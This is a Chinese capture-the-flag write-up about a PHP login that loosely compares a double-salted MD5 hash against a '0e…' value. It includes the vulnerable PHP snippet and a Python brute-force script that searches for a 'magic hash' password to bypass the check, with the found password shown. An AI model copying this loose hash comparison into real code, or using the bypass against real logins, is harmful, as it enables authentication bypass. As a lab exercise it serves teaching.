通过分析源代码并找到绕过限制的方法,从而获取到flag!
部分源码:
<?php
$name=_POST['username'];
$pass=encode(_POST['password']);
$admin_user = "admin";
$admin_pw = get_hash("0e260265122865008095838959784793");
if ($name == $admin_user && $pass == $admin_pw){echo $flag;
}
function get_hash($hash) {return preg_replace("/[^0-9a-f]/","",$hash);
}
function encode($str) {return get_hash(md5(md5($str) . "SALT"));
}
分析代码:
获取用户输入username,password。
如果用户为admin,
密码经过md5(md5($str) . "SALT")加密后是0e260265122865008095838959784793,则显示flag
(这里0e开头且后面全是数字,且==判断,可以用0e绕过)
所以现在主要是需要找到一个符合要求的password,那就需要爆破了。
编写脚本, 爆破脚本如下:(由于字符集大,爆破时间稍长)
import hashlib # 导入哈希库(用于计算MD5)
import itertools # 导入迭代工具(用于生成密码组合)
import string # 导入字符串工具(用于获取字母数字字符集)def get_hash(h):"""清理哈希值,只保留十六进制字符(0-9,a-f)对应PHP的:preg_replace("/[^0-9a-f]/","",$hash)"""return ''.join(c for c in h if c in '0123456789abcdef')def encode(pwd):"""双重MD5加盐哈希函数对应PHP的:md5(md5($str) . "SALT")"""# 第一层MD5哈希first_md5 = hashlib.md5(pwd.encode()).hexdigest()# 拼接固定盐值with_salt = first_md5 + "SALT"# 第二层MD5哈希并清理结果return get_hash(hashlib.md5(with_salt.encode()).hexdigest())def find_magic_hash(max_length=6):"""查找魔术哈希的主函数max_length: 尝试的密码最大长度(默认6位)"""# 定义搜索的字符集(所有字母+数字)chars = string.ascii_letters + string.digits# 目标管理员哈希值(来自被攻击系统)admin_hash = "0e260265122865008095838959784793"print("正在搜索魔术哈希...")# 遍历所有可能的密码长度(从1到max_length)for length in range(1, max_length + 1):# 生成所有可能的字符组合(笛卡尔积)for candidate in itertools.product(chars, repeat=length):# 将元组组合转为字符串pwd = ''.join(candidate)# 计算该密码的哈希值hashed = encode(pwd)# 检查1:是否完全匹配目标哈希if hashed == admin_hash:print(f"找到精确匹配!密码: {pwd}")return pwd# 检查2:是否符合魔术哈希模式(0e开头后面全是数字)# PHP弱类型比较中,这类哈希会被视为0if hashed.startswith('0e') and hashed[2:].isdigit():print(f"找到魔术哈希: {pwd} -> {hashed}")# 在PHP的==比较中,这将通过验证return pwdprint("在搜索范围内未找到魔术哈希")return Noneif __name__ == "__main__":# 执行查找found = find_magic_hash()if found:# 输出可用于登录的密码print(f"使用此密码登录: '{found}' 配合用户名 'admin'")
等待一段时间后,输入结果
v2ZuN
-md5加密-> efaf929f56d048f67d4c5ddaf347d173
-加盐-> efaf929f56d048f67d4c5ddaf347d173SALT
-再md5加密-> 0e876767955247762754333885824541
成功拿到flag。